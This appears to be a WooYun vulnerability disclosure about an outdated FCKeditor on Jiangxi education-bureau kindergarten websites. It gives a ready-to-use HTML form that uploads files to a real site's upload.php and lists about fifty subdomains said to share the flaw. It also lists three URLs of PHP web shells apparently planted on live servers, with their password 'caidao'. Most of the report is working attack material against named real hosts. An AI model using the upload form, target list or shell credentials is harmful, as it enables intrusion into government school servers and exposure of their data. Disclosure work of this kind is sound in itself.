WooYun.org

http://ncstlyy.jxedu.gov.cn/js/fckeditor/editor/dialog/fck_about.html
编辑器版本过低
构造上传html

<form id="frmUpload" enctype="multipart/form-data"action="http://ncstlyy.jxedu.gov.cn/js/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:</br>
<input type="file" name="NewFile"size="50"></br>
<input id="btnUpload" type="submit" value="Upload">
</form>

源代码泄露

同一套程序的网站有：
ncgschild.jxedu.gov.cn
ayxyey.jxedu.gov.cn
ncstlyy.jxedu.gov.cn
pxebyy.jxedu.gov.cn
lcxyey.jxedu.gov.cn
pxsanyuan.jxedu.gov.cn
jxxbyy.jxedu.gov.cn
gacbyey.jxedu.gov.cn
gxcgyey.jxedu.gov.cn
ncdxyey.jxedu.gov.cn
xyszxyey.jxedu.gov.cn
nfsjx.jxedu.gov.cn
fcbb.jxedu.gov.cn
xycbyey.jxedu.gov.cn
fzbyy.jxedu.gov.cn
srsdybyy.jxedu.gov.cn
ncxsy.jxedu.gov.cn
ncyey.jxedu.gov.cn
jxnuchild.jxedu.gov.cn
shzherbao.jxedu.gov.cn
thzsjgyey.jxedu.gov.cn
pxsybyy.jxedu.gov.cn
w-www.jxedu.gov.cn
jpgyey.jxedu.gov.cn
gzqy.jxedu.gov.cn
gxyey.jxedu.gov.cn
nctlysy.jxedu.gov.cn
jdzchyjzx.jxedu.gov.cn
yifeng.jxedu.gov.cn
ltbaby.jxedu.gov.cn
lepingshi.jxedu.gov.cn
srjybb.jxedu.gov.cn
jxfyzxyey.jxedu.gov.cn
gfxyery.jxedu.gov.cn
ycjgyey.jxedu.gov.cn
xdyouer.jxedu.gov.cn
waxbaby.jxedu.gov.cn
4ady-www.jxedu.gov.cn
lqsyyey.jxedu.gov.cn
ytdeyey.jxedu.gov.cn
xwxyey.jxedu.gov.cn
srsdebyy.jxedu.gov.cn
crxyry.jxedu.gov.cn
lcbyy.jxedu.gov.cn
ncdy.jxedu.gov.cn
wyt750zzhk.jxedu.gov.cn
pxsyyey.jxedu.gov.cn
www.theweddingfilmer.co.in
zgqbyy.jxedu.gov.cn
影响还是挺大的
随便来试几个
http://pxsyyey.jxedu.gov.cn/upload/userfiles/1111111.php
http://wyt750zzhk.jxedu.gov.cn/upload/userfiles/1111111.php
http://wyt750zzhk.jxedu.gov.cn/upload/userfiles/1111111.php
密码caidao
就不一一试了。三个例子已经够了。影响还是挺大的